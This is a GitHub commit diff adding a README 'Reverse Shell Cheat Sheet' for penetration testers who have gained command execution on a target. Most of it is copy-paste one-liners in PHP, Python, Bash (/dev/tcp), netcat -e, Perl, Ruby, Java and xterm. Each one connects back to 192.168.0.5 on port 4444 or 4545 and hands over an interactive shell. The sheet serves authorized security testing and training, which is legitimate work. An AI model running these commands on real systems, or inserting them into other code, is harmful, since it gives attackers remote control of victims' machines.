Skip to content

Commit 872ac4e

Browse files
author
İsmail Taşdelen
authored
update reverse-shell-cheatsheet
update reverse-shell-cheatsheet
1 parent 6b43ba8 commit 872ac4e

File tree

1 file changed

+61
-2
lines changed

1 file changed

+61
-2
lines changed

README.md

Lines changed: 61 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,2 +1,61 @@
1-
# reverse-shell-cheatsheet
2-
Reverse Shell Cheat Sheet
1+
### Reverse Shell Cheat Sheet
2+
3+
If you’re lucky enough to find a command execution vulnerability during a penetration test, pretty soon afterwards you’ll probably want an interactive shell.
4+
5+
If it’s not possible to add a new account / SSH key / .rhosts file and just log in, your next step is likely to be either trowing back a reverse shell or binding a shell to a TCP port. This page deals with the former.
6+
7+
Your options for creating a reverse shell are limited by the scripting languages installed on the target system – though you could probably upload a binary program too if you’re suitably well prepared.
8+
9+
The examples shown are tailored to Unix-like systems. Some of the examples below should also work on Windows if you use substitute “/bin/sh -i” with “cmd.exe”.
10+
11+
Each of the methods below is aimed to be a one-liner that you can copy/paste. As such they’re quite short lines, but not very readable.
12+
13+
#### Php :
14+
15+
```
16+
php -r '$sock=fsockopen("192.168.0.5",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
17+
```
18+
19+
#### Python :
20+
21+
```
22+
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.5",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
23+
```
24+
25+
#### Bash :
26+
27+
```
28+
bash -i >& /dev/tcp/192.168.0.5/4444 0>&1
29+
```
30+
31+
#### Netcat :
32+
33+
```
34+
nc -e /bin/sh 192.168.0.5 4444
35+
```
36+
37+
#### Perl :
38+
39+
```
40+
perl -e 'use Socket;$i="192.168.0.5";$p=4545;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
41+
```
42+
43+
#### Ruby :
44+
45+
```
46+
ruby -rsocket -e'f=TCPSocket.open("192.168.0.5",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
47+
```
48+
49+
#### Java :
50+
51+
```
52+
r = Runtime.getRuntime()
53+
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.0.5/4444;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
54+
p.waitFor()
55+
```
56+
57+
#### xterm :
58+
59+
```
60+
xterm -display 192.168.0.5:4444
61+
```

0 commit comments

Comments
 (0)